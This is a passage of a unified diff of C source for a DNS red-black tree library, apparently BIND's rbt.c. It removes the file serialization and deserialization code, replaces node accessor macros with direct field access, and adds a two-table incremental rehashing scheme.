-		dns_rbtdatawriter_t datawriter, void *writer_arg,
-		uintptr_t *where, uint64_t *crc);
-
-/*
- * The following functions allow you to get the actual address of a pointer
- * without having to use an if statement to check to see if that address is
- * relative or not
- */
-static inline dns_rbtnode_t *
-getparent(dns_rbtnode_t *node, file_header_t *header) {
-	char *adjusted_address = (char *)(node->parent);
-	adjusted_address += node->parent_is_relative * (uintptr_t)header;
-
-	return ((dns_rbtnode_t *)adjusted_address);
-}
-
-static inline dns_rbtnode_t *
-getleft(dns_rbtnode_t *node, file_header_t *header) {
-	char *adjusted_address = (char *)(node->left);
-	adjusted_address += node->left_is_relative * (uintptr_t)header;
-
-	return ((dns_rbtnode_t *)adjusted_address);
-}
-
-static inline dns_rbtnode_t *
-getright(dns_rbtnode_t *node, file_header_t *header) {
-	char *adjusted_address = (char *)(node->right);
-	adjusted_address += node->right_is_relative * (uintptr_t)header;
-
-	return ((dns_rbtnode_t *)adjusted_address);
-}
-
-static inline dns_rbtnode_t *
-getdown(dns_rbtnode_t *node, file_header_t *header) {
-	char *adjusted_address = (char *)(node->down);
-	adjusted_address += node->down_is_relative * (uintptr_t)header;
-
-	return ((dns_rbtnode_t *)adjusted_address);
-}
-
-static inline dns_rbtnode_t *
-getdata(dns_rbtnode_t *node, file_header_t *header) {
-	char *adjusted_address = (char *)(node->data);
-	adjusted_address += node->data_is_relative * (uintptr_t)header;
-
-	return ((dns_rbtnode_t *)adjusted_address);
-}
-
-/*%
- * Elements of the rbtnode structure.
- */
-#define PARENT(node)	   ((node)->parent)
-#define LEFT(node)	   ((node)->left)
-#define RIGHT(node)	   ((node)->right)
-#define DOWN(node)	   ((node)->down)
-#define UPPERNODE(node)	   ((node)->uppernode)
-#define DATA(node)	   ((node)->data)
-#define IS_EMPTY(node)	   ((node)->data == NULL)
-#define HASHNEXT(node)	   ((node)->hashnext)
-#define HASHVAL(node)	   ((node)->hashval)
-#define COLOR(node)	   ((node)->color)
-#define NAMELEN(node)	   ((node)->namelen)
-#define OLDNAMELEN(node)   ((node)->oldnamelen)
-#define OFFSETLEN(node)	   ((node)->offsetlen)
-#define ATTRS(node)	   ((node)->attributes)
-#define IS_ROOT(node)	   ((node)->is_root)
-#define FINDCALLBACK(node) ((node)->find_callback)
+#define IS_EMPTY(node) ((node)->data == NULL)
 
 #define WANTEMPTYDATA_OR_DATA(options, node) \
-	((options & DNS_RBTFIND_EMPTYDATA) != 0 || DATA(node) != NULL)
-
-/*%
- * Structure elements from the rbtdb.c, not
- * used as part of the rbt.c algorithms.
- */
-#define DIRTY(node)   ((node)->dirty)
-#define WILD(node)    ((node)->wild)
-#define LOCKNUM(node) ((node)->locknum)
+	((options & DNS_RBTFIND_EMPTYDATA) != 0 || node->data != NULL)
 
 /*%
  * The variable length stuff stored after the node has the following
  * structure.
  *
- *	&lt;name_data&gt;{1..255}&lt;oldoffsetlen&gt;{1}&lt;offsets&gt;{1..128}
+ *	NAME_DATA{1..255} OLDOFFSETLEN{1} OFFSETS{1..128}
  *
- * &lt;name_data&gt; contains the name of the node when it was created.
- * &lt;oldoffsetlen&gt; contains the length of &lt;offsets&gt; when the node
- * was created.
- * &lt;offsets&gt; contains the offsets into name for each label when the node
+ * NAME_DATA contains the name of the node when it was created.
+ * OLDOFFSETLEN contains the length of OFFSETS when the node was created.
+ * OFFSETS contains the offsets into name for each label when the node
  * was created.
  */
 
 #define NAME(node)	   ((unsigned char *)((node) + 1))
-#define OFFSETS(node)	   (NAME(node) + OLDNAMELEN(node) + 1)
+#define OFFSETS(node)	   (NAME(node) + node->oldnamelen + 1)
 #define OLDOFFSETLEN(node) (OFFSETS(node)[-1])
 
 #define NODE_SIZE(node) \
-	(sizeof(*node) + OLDNAMELEN(node) + OLDOFFSETLEN(node) + 1)
+	(sizeof(*node) + node->oldnamelen + OLDOFFSETLEN(node) + 1)
 
 /*%
  * Color management.
  */
-#define IS_RED(node)	 ((node) != NULL && (node)->color == RED)
-#define IS_BLACK(node)	 ((node) == NULL || (node)->color == BLACK)
-#define MAKE_RED(node)	 ((node)->color = RED)
-#define MAKE_BLACK(node) ((node)->color = BLACK)
+#define RED	       0
+#define BLACK	       1
+#define IS_RED(node)   ((node) != NULL && (node)->color == RED)
+#define IS_BLACK(node) ((node) == NULL || (node)->color == BLACK)
 
 /*%
  * Chain management.
@@ -282,24 +120,20 @@ getdata(dns_rbtnode_t *node, file_header_t *header) {
 		(chain)->levels[(chain)->level_count++] = (node);  \
 	} while (0)
 
-/*%
- * The following macros directly access normally private name variables.
- * These macros are used to avoid a lot of function calls in the critical
- * path of the tree traversal code.
+/*
+ * Initialize a dns_name_t that refers to a node's name.
  */
-
-static inline void
-NODENAME(dns_rbtnode_t *node, dns_name_t *name) {
-	name->length = NAMELEN(node);
-	name->labels = OFFSETLEN(node);
+static void
+node_name(dns_rbtnode_t *node, dns_name_t *name) {
+	name->length = node->namelen;
+	name->labels = node->offsetlen;
 	name->ndata = NAME(node);
 	name->offsets = OFFSETS(node);
-	name->attributes = ATTRS(node);
-	name->attributes |= DNS_NAMEATTR_READONLY;
+	name->attributes = (struct dns_name_attrs){ .absolute = node->absolute,
+						    .readonly = true };
 }
 
 #ifdef DEBUG
-#define inline
 /*
  * A little something to help out in GDB.
  */
@@ -311,65 +145,20 @@ Name(dns_rbtnode_t *node) {
 
 	dns_name_init(&name, NULL);
 	if (node != NULL) {
-		NODENAME(node, &name);
+		node_name(node, &name);
 	}
 
 	return (name);
 }
-
-static void
-hexdump(const char *desc, unsigned char *data, size_t size) {
-	char hexdump[BUFSIZ * 2 + 1];
-	isc_buffer_t b;
-	isc_region_t r;
-	isc_result_t result;
-	size_t bytes;
-
-	fprintf(stderr, "%s: ", desc);
-	do {
-		isc_buffer_init(&b, hexdump, sizeof(hexdump));
-		r.base = data;
-		r.length = bytes = (size > BUFSIZ) ? BUFSIZ : size;
-		result = isc_hex_totext(&r, 0, "", &b);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		isc_buffer_putuint8(&b, 0);
-		fprintf(stderr, "%s", hexdump);
-		data += bytes;
-		size -= bytes;
-	} while (size > 0);
-	fprintf(stderr, "\n");
-}
 #endif /* DEBUG */
 
 /*
  * Upper node is the parent of the root of the passed node's
  * subtree. The passed node must not be NULL.
  */
-static inline dns_rbtnode_t *
+static dns_rbtnode_t *
 get_upper_node(dns_rbtnode_t *node) {
-	return (UPPERNODE(node));
-}
-
-static void
-fixup_uppernodes_helper(dns_rbtnode_t *node, dns_rbtnode_t *uppernode) {
-	if (node == NULL) {
-		return;
-	}
-
-	UPPERNODE(node) = uppernode;
-
-	fixup_uppernodes_helper(LEFT(node), uppernode);
-	fixup_uppernodes_helper(RIGHT(node), uppernode);
-	fixup_uppernodes_helper(DOWN(node), node);
-}
-
-/*
- * This function is used to fixup uppernode members of all dns_rbtnodes
- * after deserialization.
- */
-static void
-fixup_uppernodes(dns_rbt_t *rbt) {
-	fixup_uppernodes_helper(rbt->root, NULL);
+	return (node->uppernode);
 }
 
 size_t
@@ -377,11 +166,11 @@ dns__rbtnode_getdistance(dns_rbtnode_t *node) {
 	size_t nodes = 1;
 
 	while (node != NULL) {
-		if (IS_ROOT(node)) {
+		if (node->is_root) {
 			break;
 		}
 		nodes++;
-		node = PARENT(node);
+		node = node->parent;
 	}
 
 	return (nodes);
@@ -393,25 +182,34 @@ dns__rbtnode_getdistance(dns_rbtnode_t *node) {
 static isc_result_t
 create_node(isc_mem_t *mctx, const dns_name_t *name, dns_rbtnode_t **nodep);
 
-static isc_result_t
-inithash(dns_rbt_t *rbt);
+static void
+hashtable_new(dns_rbt_t *rbt, uint8_t index, uint8_t bits);
+static void
+hashtable_free(dns_rbt_t *rbt, uint8_t index);
 
-static inline void
+static void
 hash_node(dns_rbt_t *rbt, dns_rbtnode_t *node, const dns_name_t *name);
 
-static inline void
+static void
 unhash_node(dns_rbt_t *rbt, dns_rbtnode_t *node);
 
 static uint32_t
 rehash_bits(dns_rbt_t *rbt, size_t newcount);
 static void
-rehash(dns_rbt_t *rbt, uint32_t newbits);
+hashtable_rehash(dns_rbt_t *rbt, uint32_t newbits);
+static void
+hashtable_rehash_one(dns_rbt_t *rbt);
 static void
 maybe_rehash(dns_rbt_t *rbt, size_t size);
+static bool
+rehashing_in_progress(dns_rbt_t *rbt);
+
+#define TRY_NEXTTABLE(hindex, rbt) \
+	(hindex == rbt->hindex && rehashing_in_progress(rbt))
 
-static inline void
+static void
 rotate_left(dns_rbtnode_t *node, dns_rbtnode_t **rootp);
-static inline void
+static void
 rotate_right(dns_rbtnode_t *node, dns_rbtnode_t **rootp);
 
 static void
@@ -421,11 +219,6 @@ addonlevel(dns_rbtnode_t *node, dns_rbtnode_t *current, int order,
 static void
 deletefromlevel(dns_rbtnode_t *item, dns_rbtnode_t **rootp);
 
-static isc_result_t
-treefix(dns_rbt_t *rbt, void *base, size_t size, dns_rbtnode_t *n,
-	const dns_name_t *name, dns_rbtdatafixer_t datafixer, void *fixer_arg,
-	uint64_t *crc);
-
 static void
 deletetreeflat(dns_rbt_t *rbt, unsigned int quantum, bool unhash,
 	       dns_rbtnode_t **nodep);
@@ -436,103 +229,6 @@ printnodename(dns_rbtnode_t *node, bool quoted, FILE *f);
 static void
 freenode(dns_rbt_t *rbt, dns_rbtnode_t **nodep);
 
-static isc_result_t
-dns_rbt_zero_header(FILE *file) {
-	/*
-	 * Write out a zeroed header as a placeholder.  Doing this ensures
-	 * that the file will not read while it is partially written, should
-	 * writing fail or be interrupted.
-	 */
-	char buffer[HEADER_LENGTH];
-	isc_result_t result;
-
-	memset(buffer, 0, HEADER_LENGTH);
-	result = isc_stdio_write(buffer, 1, HEADER_LENGTH, file, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = fflush(file);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_once_t once = ISC_ONCE_INIT;
-
-static void
-init_file_version(void) {
-	int n;
-
-	memset(FILE_VERSION, 0, sizeof(FILE_VERSION));
-	n = snprintf(FILE_VERSION, sizeof(FILE_VERSION), "RBT Image %s %s",
-		     PACKAGE_VERSION_MAJOR, MAPAPI);
-	INSIST(n > 0 && (unsigned int)n < sizeof(FILE_VERSION));
-}
-
-/*
- * Write out the real header, including NodeDump version information
- * and the offset of the first node.
- *
- * Any information stored in the rbt object itself should be stored
- * here.
- */
-static isc_result_t
-write_header(FILE *file, dns_rbt_t *rbt, uint64_t first_node_offset,
-	     uint64_t crc) {
-	file_header_t header;
-	isc_result_t result;
-	off_t location;
-
-	RUNTIME_CHECK(isc_once_do(&once, init_file_version) == ISC_R_SUCCESS);
-
-	memset(&header, 0, sizeof(file_header_t));
-	memmove(header.version1, FILE_VERSION, sizeof(header.version1));
-	memmove(header.version2, FILE_VERSION, sizeof(header.version2));
-	header.first_node_offset = first_node_offset;
-	header.ptrsize = (uint32_t)sizeof(void *);
-	header.bigendian = (1 == htonl(1)) ? 1 : 0;
-
-#ifdef DNS_RDATASET_FIXED
-	header.rdataset_fixed = 1;
-#else  /* ifdef DNS_RDATASET_FIXED */
-	header.rdataset_fixed = 0;
-#endif /* ifdef DNS_RDATASET_FIXED */
-
-	header.nodecount = rbt->nodecount;
-
-	header.crc = crc;
-
-	CHECK(isc_stdio_tell(file, &location));
-	location = dns_rbt_serialize_align(location);
-	CHECK(isc_stdio_seek(file, location, SEEK_SET));
-	CHECK(isc_stdio_write(&header, 1, sizeof(file_header_t), file, NULL));
-	CHECK(fflush(file));
-
-	/* Ensure we are always at the end of the file. */
-	CHECK(isc_stdio_seek(file, 0, SEEK_END));
-
-cleanup:
-	return (result);
-}
-
-static bool
-match_header_version(file_header_t *header) {
-	RUNTIME_CHECK(isc_once_do(&once, init_file_version) == ISC_R_SUCCESS);
-
-	if (memcmp(header->version1, FILE_VERSION, sizeof(header->version1)) !=
-		    0 ||
-	    memcmp(header->version2, FILE_VERSION, sizeof(header->version1)) !=
-		    0)
-	{
-		return (false);
-	}
-
-	return (true);
-}
-
 unsigned int
 dns__rbtnode_namelen(dns_rbtnode_t *node) {
 	dns_name_t current;
@@ -544,7 +240,7 @@ dns__rbtnode_namelen(dns_rbtnode_t *node) {
 
 	do {
 		if (node != NULL) {
-			NODENAME(node, &current);
+			node_name(node, &current);
 			len += current.length;
 		} else {
 			len += 1;
@@ -557,441 +253,12 @@ dns__rbtnode_namelen(dns_rbtnode_t *node) {
 	return (len);
 }
 
-static isc_result_t
-serialize_node(FILE *file, dns_rbtnode_t *node, uintptr_t left, uintptr_t right,
-	       uintptr_t down, uintptr_t parent, uintptr_t data,
-	       uint64_t *crc) {
-	isc_result_t result;
-	dns_rbtnode_t temp_node;
-	off_t file_position;
-	unsigned char *node_data = NULL;
-	size_t datasize;
-#ifdef DEBUG
-	dns_name_t nodename;
-#endif /* ifdef DEBUG */
-
-	INSIST(node != NULL);
-
-	CHECK(isc_stdio_tell(file, &file_position));
-	file_position = dns_rbt_serialize_align(file_position);
-	CHECK(isc_stdio_seek(file, file_position, SEEK_SET));
-
-	temp_node = *node;
-	temp_node.down_is_relative = 0;
-	temp_node.left_is_relative = 0;
-	temp_node.right_is_relative = 0;
-	temp_node.parent_is_relative = 0;
-	temp_node.data_is_relative = 0;
-	temp_node.is_mmapped = 1;
-
-	/*
-	 * If the next node is not NULL, calculate the next node's location
-	 * in the file.  Note that this will have to change when the data
-	 * structure changes, and it also assumes that we always write the
-	 * nodes out in list order (which we currently do.)
-	 */
-	if (temp_node.parent != NULL) {
-		temp_node.parent = (dns_rbtnode_t *)(parent);
-		temp_node.parent_is_relative = 1;
-	}
-	if (temp_node.left != NULL) {
-		temp_node.left = (dns_rbtnode_t *)(left);
-		temp_node.left_is_relative = 1;
-	}
-	if (temp_node.right != NULL) {
-		temp_node.right = (dns_rbtnode_t *)(right);
-		temp_node.right_is_relative = 1;
-	}
-	if (temp_node.down != NULL) {
-		temp_node.down = (dns_rbtnode_t *)(down);
-		temp_node.down_is_relative = 1;
-	}
-	if (temp_node.data != NULL) {
-		temp_node.data = (dns_rbtnode_t *)(data);
-		temp_node.data_is_relative = 1;
-	}
-
-	temp_node.fullnamelen = dns__rbtnode_namelen(node);
-
-	node_data = (unsigned char *)node + sizeof(dns_rbtnode_t);
-	datasize = NODE_SIZE(node) - sizeof(dns_rbtnode_t);
-
-	CHECK(isc_stdio_write(&temp_node, 1, sizeof(dns_rbtnode_t), file,
-			      NULL));
-	CHECK(isc_stdio_write(node_data, 1, datasize, file, NULL));
-
-#ifdef DEBUG
-	dns_name_init(&nodename, NULL);
-	NODENAME(node, &nodename);
-	fprintf(stderr, "serialize ");
-	dns_name_print(&nodename, stderr);
-	fprintf(stderr, "\n");
-	hexdump("node header", (unsigned char *)&temp_node,
-		sizeof(dns_rbtnode_t));
-	hexdump("node data", node_data, datasize);
-#endif /* ifdef DEBUG */
-
-	isc_crc64_update(crc, (const uint8_t *)&temp_node,
-			 sizeof(dns_rbtnode_t));
-	isc_crc64_update(crc, (const uint8_t *)node_data, datasize);
-
-cleanup:
-	return (result);
-}
-
-static isc_result_t
-serialize_nodes(FILE *file, dns_rbtnode_t *node, uintptr_t parent,
-		dns_rbtdatawriter_t datawriter, void *writer_arg,
-		uintptr_t *where, uint64_t *crc) {
-	uintptr_t left = 0, right = 0, down = 0, data = 0;
-	off_t location = 0, offset_adjust;
-	isc_result_t result;
-
-	if (node == NULL) {
-		if (where != NULL) {
-			*where = 0;
-		}
-		return (ISC_R_SUCCESS);
-	}
-
-	/* Reserve space for current node. */
-	CHECK(isc_stdio_tell(file, &location));
-	location = dns_rbt_serialize_align(location);
-	CHECK(isc_stdio_seek(file, location, SEEK_SET));
-
-	offset_adjust = dns_rbt_serialize_align(location + NODE_SIZE(node));
-	CHECK(isc_stdio_seek(file, offset_adjust, SEEK_SET));
-
-	/*
-	 * Serialize the rest of the tree.
-	 *
-	 * WARNING: A change in the order (from left, right, down)
-	 * will break the way the crc hash is computed.
-	 */
-	CHECK(serialize_nodes(file, getleft(node, NULL), location, datawriter,
-			      writer_arg, &left, crc));
-	CHECK(serialize_nodes(file, getright(node, NULL), location, datawriter,
-			      writer_arg, &right, crc));
-	CHECK(serialize_nodes(file, getdown(node, NULL), location, datawriter,
-			      writer_arg, &down, crc));
-
-	if (node->data != NULL) {
-		off_t ret;
-
-		CHECK(isc_stdio_tell(file, &ret));
-		ret = dns_rbt_serialize_align(ret);
-		CHECK(isc_stdio_seek(file, ret, SEEK_SET));
-		data = ret;
-
-		datawriter(file, node->data, writer_arg, crc);
-	}
-
-	/* Seek back to reserved space. */
-	CHECK(isc_stdio_seek(file, location, SEEK_SET));
-
-	/* Serialize the current node. */
-	CHECK(serialize_node(file, node, left, right, down, parent, data, crc));
-
-	/* Ensure we are always at the end of the file. */
-	CHECK(isc_stdio_seek(file, 0, SEEK_END));
-
-	if (where != NULL) {
-		*where = (uintptr_t)location;
-	}
-
-cleanup:
-	return (result);
-}
-
-off_t
-dns_rbt_serialize_align(off_t target) {
-	off_t offset = target % 8;
-
-	if (offset == 0) {
-		return (target);
-	} else {
-		return (target + 8 - offset);
-	}
-}
-
-isc_result_t
-dns_rbt_serialize_tree(FILE *file, dns_rbt_t *rbt,
-		       dns_rbtdatawriter_t datawriter, void *writer_arg,
-		       off_t *offset) {
-	isc_result_t result;
-	off_t header_position, node_position, end_position;
-	uint64_t crc;
-
-	REQUIRE(file != NULL);
-
-	CHECK(isc_file_isplainfilefd(fileno(file)));
-
-	isc_crc64_init(&crc);
-
-	CHECK(isc_stdio_tell(file, &header_position));
-
-	/* Write dummy header */
-	CHECK(dns_rbt_zero_header(file));
-
-	/* Serialize nodes */
-	CHECK(isc_stdio_tell(file, &node_position));
-	CHECK(serialize_nodes(file, rbt->root, 0, datawriter, writer_arg, NULL,
-			      &crc));
-
-	CHECK(isc_stdio_tell(file, &end_position));
-	if (node_position == end_position) {
-		CHECK(isc_stdio_seek(file, header_position, SEEK_SET));
-		*offset = 0;
-		return (ISC_R_SUCCESS);
-	}
-
-	isc_crc64_final(&crc);
-#ifdef DEBUG
-	hexdump("serializing CRC", (unsigned char *)&crc, sizeof(crc));
-#endif /* ifdef DEBUG */
-
-	/* Serialize header */
-	CHECK(isc_stdio_seek(file, header_position, SEEK_SET));
-	CHECK(write_header(file, rbt, HEADER_LENGTH, crc));
-
-	/* Ensure we are always at the end of the file. */
-	CHECK(isc_stdio_seek(file, 0, SEEK_END));
-	*offset = dns_rbt_serialize_align(header_position);
-
-cleanup:
-	return (result);
-}
-
-#define CONFIRM(a)                                  \
-	do {                                        \
-		if (!(a)) {                         \
-			result = ISC_R_INVALIDFILE; \
-			goto cleanup;               \
-		}                                   \
-	} while (0);
-
-static isc_result_t
-treefix(dns_rbt_t *rbt, void *base, size_t filesize, dns_rbtnode_t *n,
-	const dns_name_t *name, dns_rbtdatafixer_t datafixer, void *fixer_arg,
-	uint64_t *crc) {
-	isc_result_t result = ISC_R_SUCCESS;
-	dns_fixedname_t fixed;
-	dns_name_t nodename, *fullname;
-	unsigned char *node_data;
-	dns_rbtnode_t header;
-	size_t datasize, nodemax = filesize - sizeof(dns_rbtnode_t);
-
-	if (n == NULL) {
-		return (ISC_R_SUCCESS);
-	}
-
-	CONFIRM((void *)n >= base);
-	CONFIRM((char *)n - (char *)base <= (int)nodemax);
-	CONFIRM(DNS_RBTNODE_VALID(n));
-
-	dns_name_init(&nodename, NULL);
-	NODENAME(n, &nodename);
-
-	fullname = &nodename;
-	CONFIRM(dns_name_isvalid(fullname));
-
-	if (!dns_name_isabsolute(&nodename)) {
-		fullname = dns_fixedname_initname(&fixed);
-		CHECK(dns_name_concatenate(&nodename, name, fullname, NULL));
-	}
-
-	/* memorize header contents prior to fixup */
-	memmove(&header, n, sizeof(header));
-
-	if (n->left_is_relative) {
-		CONFIRM(n->left <= (dns_rbtnode_t *)nodemax);
-		n->left = getleft(n, rbt->mmap_location);
-		n->left_is_relative = 0;
-		CONFIRM(DNS_RBTNODE_VALID(n->left));
-	} else {
-		CONFIRM(n->left == NULL);
-	}
-
-	if (n->right_is_relative) {
-		CONFIRM(n->right <= (dns_rbtnode_t *)nodemax);
-		n->right = getright(n, rbt->mmap_location);
-		n->right_is_relative = 0;
-		CONFIRM(DNS_RBTNODE_VALID(n->right));
-	} else {
-		CONFIRM(n->right == NULL);
-	}
-
-	if (n->down_is_relative) {
-		CONFIRM(n->down <= (dns_rbtnode_t *)nodemax);
-		n->down = getdown(n, rbt->mmap_location);
-		n->down_is_relative = 0;
-		CONFIRM(n->down > (dns_rbtnode_t *)n);
-		CONFIRM(DNS_RBTNODE_VALID(n->down));
-	} else {
-		CONFIRM(n->down == NULL);
-	}
-
-	if (n->parent_is_relative) {
-		CONFIRM(n->parent <= (dns_rbtnode_t *)nodemax);
-		n->parent = getparent(n, rbt->mmap_location);
-		n->parent_is_relative = 0;
-		CONFIRM(n->parent < (dns_rbtnode_t *)n);
-		CONFIRM(DNS_RBTNODE_VALID(n->parent));
-	} else {
-		CONFIRM(n->parent == NULL);
-	}
-
-	if (n->data_is_relative) {
-		CONFIRM(n->data <= (void *)filesize);
-		n->data = getdata(n, rbt->mmap_location);
-		n->data_is_relative = 0;
-		CONFIRM(n->data > (void *)n);
-	} else {
-		CONFIRM(n->data == NULL);
-	}
-
-	hash_node(rbt, n, fullname);
-
-	/* a change in the order (from left, right, down) will break hashing*/
-	if (n->left != NULL) {
-		CHECK(treefix(rbt, base, filesize, n->left, name, datafixer,
-			      fixer_arg, crc));
-	}
-	if (n->right != NULL) {
-		CHECK(treefix(rbt, base, filesize, n->right, name, datafixer,
-			      fixer_arg, crc));
-	}
-	if (n->down != NULL) {
-		CHECK(treefix(rbt, base, filesize, n->down, fullname, datafixer,
-			      fixer_arg, crc));
-	}
-
-	if (datafixer != NULL && n->data != NULL) {
-		CHECK(datafixer(n, base, filesize, fixer_arg, crc));
-	}
-
-	rbt->nodecount++;
-	node_data = (unsigned char *)n + sizeof(dns_rbtnode_t);
-	datasize = NODE_SIZE(n) - sizeof(dns_rbtnode_t);
-
-#ifdef DEBUG
-	fprintf(stderr, "deserialize ");
-	dns_name_print(&nodename, stderr);
-	fprintf(stderr, "\n");
-	hexdump("node header", (unsigned char *)&header, sizeof(dns_rbtnode_t));
-	hexdump("node data", node_data, datasize);
-#endif /* ifdef DEBUG */
-	isc_crc64_update(crc, (const uint8_t *)&header, sizeof(dns_rbtnode_t));
-	isc_crc64_update(crc, (const uint8_t *)node_data, datasize);
-
-cleanup:
-	return (result);
-}
-
-isc_result_t
-dns_rbt_deserialize_tree(void *base_address, size_t filesize,
-			 off_t header_offset, isc_mem_t *mctx,
-			 dns_rbtdeleter_t deleter, void *deleter_arg,
-			 dns_rbtdatafixer_t datafixer, void *fixer_arg,
-			 dns_rbtnode_t **originp, dns_rbt_t **rbtp) {
-	isc_result_t result = ISC_R_SUCCESS;
-	file_header_t *header;
-	dns_rbt_t *rbt = NULL;
-	uint64_t crc;
-	unsigned int host_big_endian;
-
-	REQUIRE(originp == NULL || *originp == NULL);
-	REQUIRE(rbtp != NULL && *rbtp == NULL);
-
-	isc_crc64_init(&crc);
-
-	CHECK(dns_rbt_create(mctx, deleter, deleter_arg, &rbt));
-
-	rbt->mmap_location = base_address;
-
-	header = (file_header_t *)((char *)base_address + header_offset);
-	if (!match_header_version(header)) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-
-#ifdef DNS_RDATASET_FIXED
-	if (header->rdataset_fixed != 1) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-
-#else  /* ifdef DNS_RDATASET_FIXED */
-	if (header->rdataset_fixed != 0) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-#endif /* ifdef DNS_RDATASET_FIXED */
-
-	if (header->ptrsize != (uint32_t)sizeof(void *)) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-
-	host_big_endian = (1 == htonl(1));
-	if (header->bigendian != host_big_endian) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-
-	/* Copy other data items from the header into our rbt. */
-	rbt->root = (dns_rbtnode_t *)((char *)base_address + header_offset +
-				      header->first_node_offset);
-
-	if ((header->nodecount * sizeof(dns_rbtnode_t)) > filesize) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-	maybe_rehash(rbt, header->nodecount);
-
-	CHECK(treefix(rbt, base_address, filesize, rbt->root, dns_rootname,
-		      datafixer, fixer_arg, &crc));
-
-	isc_crc64_final(&crc);
-#ifdef DEBUG
-	hexdump("deserializing CRC", (unsigned char *)&crc, sizeof(crc));
-#endif /* ifdef DEBUG */
-
-	/* Check file hash */
-	if (header->crc != crc) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-
-	if (header->nodecount != rbt->nodecount) {
-		result = ISC_R_INVALIDFILE;
-		goto cleanup;
-	}
-
-	fixup_uppernodes(rbt);
-
-	*rbtp = rbt;
-	if (originp != NULL) {
-		*originp = rbt->root;
-	}
-
-cleanup:
-	if (result != ISC_R_SUCCESS && rbt != NULL) {
-		rbt->root = NULL;
-		rbt->nodecount = 0;
-		dns_rbt_destroy(&rbt);
-	}
-
-	return (result);
-}
-
 /*
  * Initialize a red/black tree of trees.
  */
 isc_result_t
 dns_rbt_create(isc_mem_t *mctx, dns_rbtdeleter_t deleter, void *deleter_arg,
 	       dns_rbt_t **rbtp) {
-	isc_result_t result;
 	dns_rbt_t *rbt;
 
 	REQUIRE(mctx != NULL);
@@ -999,23 +266,14 @@ dns_rbt_create(isc_mem_t *mctx, dns_rbtdeleter_t deleter, void *deleter_arg,
 	REQUIRE(deleter == NULL ? deleter_arg == NULL : 1);
 
 	rbt = isc_mem_get(mctx, sizeof(*rbt));
+	*rbt = (dns_rbt_t){
+		.data_deleter = deleter,
+		.deleter_arg = deleter_arg,
+	};
 
-	rbt->mctx = NULL;
 	isc_mem_attach(mctx, &rbt->mctx);
-	rbt->data_deleter = deleter;
-	rbt->deleter_arg = deleter_arg;
-	rbt->root = NULL;
-	rbt->nodecount = 0;
-	rbt->hashtable = NULL;
-	rbt->hashbits = 0;
-	rbt->maxhashbits = RBT_HASH_MAX_BITS;
-	rbt->mmap_location = NULL;
-
-	result = inithash(rbt);
-	if (result != ISC_R_SUCCESS) {
-		isc_mem_putanddetach(&rbt->mctx, rbt, sizeof(*rbt));
-		return (result);
-	}
+
+	hashtable_new(rbt, 0, ISC_HASH_MIN_BITS);
 
 	rbt->magic = RBT_MAGIC;
 
@@ -1049,11 +307,11 @@ dns_rbt_destroy2(dns_rbt_t **rbtp, unsigned int quantum) {
 
 	INSIST(rbt->nodecount == 0);
 
-	rbt->mmap_location = NULL;
-
-	if (rbt->hashtable != NULL) {
-		size_t size = HASHSIZE(rbt->hashbits) * sizeof(dns_rbtnode_t *);
-		isc_mem_put(rbt->mctx, rbt->hashtable, size);
+	if (rbt->hashtable[0] != NULL) {
+		hashtable_free(rbt, 0);
+	}
+	if (rbt->hashtable[1] != NULL) {
+		hashtable_free(rbt, 1);
 	}
 
 	rbt->magic = 0;
@@ -1073,23 +331,14 @@ size_t
 dns_rbt_hashsize(dns_rbt_t *rbt) {
 	REQUIRE(VALID_RBT(rbt));
 
-	return (1 << rbt->hashbits);
-}
-
-isc_result_t
-dns_rbt_adjusthashsize(dns_rbt_t *rbt, size_t size) {
-	REQUIRE(VALID_RBT(rbt));
-
-	size_t newsize = size / RBT_HASH_BUCKETSIZE;
-
-	rbt->maxhashbits = rehash_bits(rbt, newsize);
+	uint8_t hashbits = (rbt->hashbits[0] > rbt->hashbits[1])
+				   ? rbt->hashbits[0]
+				   : rbt->hashbits[1];
 
-	maybe_rehash(rbt, newsize);
-
-	return (ISC_R_SUCCESS);
+	return (1 << hashbits);
 }
 
-static inline isc_result_t
+static isc_result_t
 chain_name(dns_rbtnodechain_t *chain, dns_name_t *name,
 	   bool include_chain_end) {
 	dns_name_t nodename;
@@ -1099,14 +348,14 @@ chain_name(dns_rbtnodechain_t *chain, dns_name_t *name,
 	dns_name_init(&nodename, NULL);
 
 	if (include_chain_end && chain->end != NULL) {
-		NODENAME(chain->end, &nodename);
+		node_name(chain->end, &nodename);
 		dns_name_copy(&nodename, name);
 	} else {
 		dns_name_reset(name);
 	}
 
 	for (i = (int)chain->level_count - 1; i >= 0; i--) {
-		NODENAME(chain->levels[i], &nodename);
+		node_name(chain->levels[i], &nodename);
 		result = dns_name_concatenate(name, &nodename, name, NULL);
 
 		if (result != ISC_R_SUCCESS) {
@@ -1116,23 +365,23 @@ chain_name(dns_rbtnodechain_t *chain, dns_name_t *name,
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 move_chain_to_last(dns_rbtnodechain_t *chain, dns_rbtnode_t *node) {
 	do {
 		/*
 		 * Go as far right and then down as much as possible,
 		 * as long as the rightmost node has a down pointer.
 		 */
-		while (RIGHT(node) != NULL) {
-			node = RIGHT(node);
+		while (node->right != NULL) {
+			node = node->right;
 		}
 
-		if (DOWN(node) == NULL) {
+		if (node->down == NULL) {
 			break;
 		}
 
 		ADD_LEVEL(chain, node);
-		node = DOWN(node);
+		node = node->down;
 	} while (1);
 
 	chain->end = node;
@@ -1203,13 +452,13 @@ dns_rbt_addnode(dns_rbt_t *rbt, const dns_name_t *name, dns_rbtnode_t **nodep) {
 	INSIST(add_name != NULL);
 	dns_name_clone(name, add_name);
 
-	if (ISC_UNLIKELY(rbt->root == NULL)) {
+	if (rbt->root == NULL) {
 		result = create_node(rbt->mctx, add_name, &new_current);
 		if (result == ISC_R_SUCCESS) {
 			rbt->nodecount++;
